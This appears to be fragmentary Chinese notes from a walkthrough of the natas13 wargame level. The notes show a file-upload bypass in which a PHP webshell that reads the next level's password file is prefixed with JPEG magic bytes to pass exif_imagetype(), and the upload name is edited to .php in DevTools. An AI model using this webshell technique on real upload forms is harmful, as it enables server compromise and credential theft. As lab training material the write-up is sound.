natas13
 
 
input 標籤的 value 中,上傳檔案後會重新生成檔案名稱但保留副檔名,使用 exif_imagetype() 檢查是否為圖片檔案,並將檔案位址的超連結回顯於網頁中
 
echo '\xFF\xD8\xFF\xE0<?php system("cat /etc/natas_webpass/natas14"); ?>' > natas13_webshell.php
 
Ctrl + Shift + i 或 F12 開啟 DevTools,找到包含亂數檔案名稱的 input 標籤,修改成 value=<隨便你>.php 後按下 Upload File 按鈕上傳檔案
 
 
 
.php 的檔案來執行 webshell、副檔名 .txt 使用記事本開啟,而檔案實際格式則是 File Signature (Magic Numbers/Bytes),每種檔案都有相對應的格式定義,例如 PNG (Portable Network Graphics) Specification, Version 1.2、APPNOTE.TXT - .ZIP File Format Specification
 
.zip,則有可能因為系統嘗試以 ZIP 的方式開啟而導致失敗,因為檔案內容、格式都未改變,不會因此而變成 ZIP 壓縮檔
 
exif_imagetype()